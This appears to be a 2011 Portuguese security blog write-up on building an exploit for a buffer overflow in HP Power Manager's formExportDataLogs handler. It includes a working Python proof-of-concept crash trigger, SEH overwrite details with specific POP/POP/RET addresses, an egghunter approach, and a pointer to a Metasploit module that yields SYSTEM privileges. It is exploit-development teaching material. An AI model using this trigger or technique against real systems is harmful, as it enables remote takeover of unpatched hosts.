sexta-feira, 4 de novembro de 2011

HP Power Manager 'formExportDataLogs' Buffer Overflow analysis

Olá a todos!

Irei descrever neste artigo como foi minha experiência com a análise de um advisory, a identificação e criação do trigger(poc) e consequentemente a escrita de um exploit para a falha.

Gostaria de ressaltar que este artigo não terá explicações conceituais sobre as técnicas de exploração e quaisquer outros detalhes teóricos. Vou focar totalmente na prática, desde a análise até a criação e execução do exploit.
Para conceitos/teorias e informações adicionais, irei dedicar uma área para referências no final do artigo.

O SOFTWARE (HP Power Manager)

Vamos ao que interessa!
No início de 2010, o pesquisador integrante do grupo Secunia, Alin Rad Pop, descobriu a falha no software HP Power Manager descrita abaixo:

"Secunia Research has discovered a vulnerability in HP Power Manager,
which can be exploited by malicious people to compromise a vulnerable
system.
The vulnerability is caused due to a boundary error when processing
parameters sent to the /goform/formExportDataLogs URL. This can be
exploited to cause a stack-based buffer overflow via an overly long
"fileName" parameter."

Como descrito acima e em mais detalhes aqui e aqui, a vulnerabilidade é causada devido a uma falta de controle no tamanho de uma variável quando parâmetros específicos são enviados para a URL /goform/formExportDataLogs. A exploração desta falha pode causar um stack-based buffer overflow através do envio de uma longa string na variável "fileName", que permite a atacantes executar comandos remotos com os privilégios de 'SYSTEM'.

Muitos advisories nos dias atuais são vagos e realmente não ajudam o pesquisador ou desenvolvedor de exploits a localizar onde a falha se encontra e como criar o trigger. Eu costumo chamar esses tipos de advisories de "Advisories comerciais", onde os mesmos, tem apenas o intuito de informar publicamente que a falha foi descoberta em um determinado produto sem nenhum (ou quase nenhum) detalhe adicional (exemplo1, exemplo2).

No caso da vulnerabilidade analisada, o advisory foi bem claro em sua descrição, portanto, localizar o trigger e reproduzir o ambiente não foi uma tarefa tão complicada.

Depois de alguns momentos analisando os requests feitos através da interface de gerenciamento web do programa consegui localizar o parâmetro e URL descritos no advisory, como mostra a figura abaixo:



POC (Proof Of Concept)

Após ter encontrado a URL que processa o request tudo se torna mais fácil e assim podemos partir para o próximo passo que será criar o poc baseado nas informações obtidas:

#!/usr/bin/python
# Rodrigo Escobar (ipax)
# DcLabs Security Research Group
#
# HP Power Manager "formExportDataLogs" Buffer Overflow

import socket
import sys
import time, struct

host = "192.168.2.1"
port = 80

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

post = "POST /goform/formExportDataLogs HTTP/1.1\r\n"
post += "Host: " + host + ":" + str(port) + "\r\n"
post += "Connection: keep-alive\r\n"
post += "Referer: http://" + host + "/Contents/exportLogs.asp?logType=Application\r\n"
post += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
post += "dataFormat=comma&exportto=file&fileName=" + buffer + "&bMonth=11&bDay=01&bYear=2011&eMonth=11&eDay=01&eYear=2011&LogType=Application&actionType=1%3B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Trying to establish connection..."

try:
s.connect((host, port))
print " [+] Sending payload..."
except:
print "[X] Couldn't connect to: " + host + ":" + str(port)
else:
time.sleep(1)

s.send(post)
print " [+] Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)"

s.close()

# END OF POC

POC também pode ser acessado aqui.

Para saber exatamente onde o software estava crashando utilizei o mona para criar uma simples pattern de 2000 bytes e coloquei como valor na variável buffer.

Após a execução do POC, podemos constatar algumas particularidades interessantes no crash ocorrido:



  1. SEH foi sobrescrito com a nossa pattern e se perceber, fomos capazes de escrever alguns bytes após sobrescrever a chain.
  2. !mona localizou a nossa pattern sobrescrevendo SEH (755 bytes).

SEH sendo sobrescrito com nossa pattern (2000 bytes) [1]

Mona localizando a pattern enviada [2]

Após uma breve análise, constatei que a melhor técnica a ser utilizada nesse caso seria um SEH overwrite, ja que conseguimos sobrescrevê-lo como mostra a figura acima.

POP # POP # RET

Em teoria para explorar uma vulnerabilidade utilizando esta técnica (SEH overwrite), você precisa de uma sequência de instruções que consigam triggar um POP / POP / RET ou qualquer outra sequência que possua a mesma funcionalidade como, por exemplo, um ADD ESP,8 / RET e outras.

Seguindo esta linha de raciocínio, o próximo passo foi localizar essa sequência de instruções na lista de executable modules dentro do software. Isto pode ser feito manualmente através do search de seu debugger, ou utilizando o mona.

Após alguns testes, foi constatado que existiam apenas 2 endereços estáveis com esta sequência de instruções pop # pop # ret que poderiam ser utilizados. (Ambos localizados com o mona)

0x004174d5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)
0x00417cb5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)

Como podemos notar, os endereços possuem um null byte e isto é um grande problema (na maioria dos casos). Caso o null byte estivesse no meio do endereço teríamos que localizar outro "pop#pop#ret" pois algumas funções tais como strcpy(), consideram o null byte como o caracter terminador de uma string. Neste caso o null byte está no começo, e como os endereços são lidos em little-endian (podemos fazer uma sobrescrita parcial do SEH resultando em "\xd5\x74\x41\x00" ou "\xb5\x7c\x41\x00") .

PORTANDO EXPLOIT PARA O METASPLOIT

Tendo grande parte da lógica pronta e com a idéia de portar para o metasploit em mente (ps: devia ter começado a codar direto para o msf e não fazer em python e depois portar), existem algumas regras que temos que seguir para garantir a reliability (estabilidade) do exploit, ou seja, a equipe de desenvolvimento de exploits da metasploit, precisa fazer um quality assurance no exploit para verificar a sua reliability (estabilidade) garantindo que o exploit funcione 100%.

Uma das caracteristicas que seu exploit precisa ter para ser aceito na árvore do metasploit, é ter espaço suficiente na stack / heap, para que praticamente todos os payloads existentes no framework sejam capazes de ser executados (principalmente meterpreter e outros, tais como, reverse_tcp, bind_tcp e outros).

Existem também outras particularidades, assim como, utilização de funções próprias do MSF, verificação minuciosa de BadChars (Não descrito neste artigo, mas vou colocar como referência), quantidade de colunas por linha e etc. Um manual escrito pelos membros do metasploit sobre estas particularidades por ser encontrado aqui.

EGGHUNTER

Para tornar o exploit mais estável tive que adicionar um egghunter.
Em teoria um egghunter nada mais é do que uma sequência de instruções que procura em todos endereços da memória uma tag predefinida que contêm o seu shellcode a partir desta tag. (PS: normalmente, utilizamos um memory leak para injetar a tag+shellcode na heap, pois se é possível colocar o shellcode na stack, não há necessidade de utilizar um egghunter para o tal devido ao tempo de processamento para localizar o egg na memória)

PWNAGE TIME!

Sem mais delongas, o resultado tão esperado :)


BANG!! SYSTEM privileges! pwned! =)

Ou então, se voce sempre mantém o metasploit atualizado, poderá encontrá-lo no revision 14015 -> modules/exploits/windows/http/hp_power_manager_filename.rb

REFERÊNCIAS


AGRADECIMENTOS

Membros do DcLabs
corelanc0d3r e corelan team
sinn3r

Espero que tenham gostado do artigo. Pretendo futuramente, publicar novas pesquisas e análises feitas em diversos outros advisories resultando ou não em remote command execution.

Rodrigo Escobar (ipax) {ipax [at] dclabs.com.br}

5 comentários:


  1. I was curious if you ever thought of changing the structure of your site? Its very well written; I love what youve got to say. But maybe you could a little more in the way of content so people could connect with it better. Youve got an awful lot of text for only having 1 or 2 images. Maybe you could space it out better? apple itunes login

    ResponderExcluir
  2. This is really good and useful information. thanks for posting. Foreign visitors can apply for a Turkish Visit Visa online. 100 Eligible Countries can apply for Turkey Visa.

    ResponderExcluir
  3. Thank you for this work. The applicant applying for Kenya visa now can easily pay for kenya evisa cost online through online e visa application. That ultimately saves time and provide the secure process.

    ResponderExcluir
  4. Nice useful post. I have come here for the first time. Now There is no need to meet the Ukraine embassy specially to get a valid Ukraine visa. You can get a Ukraine-visa in 4 working days.

    ResponderExcluir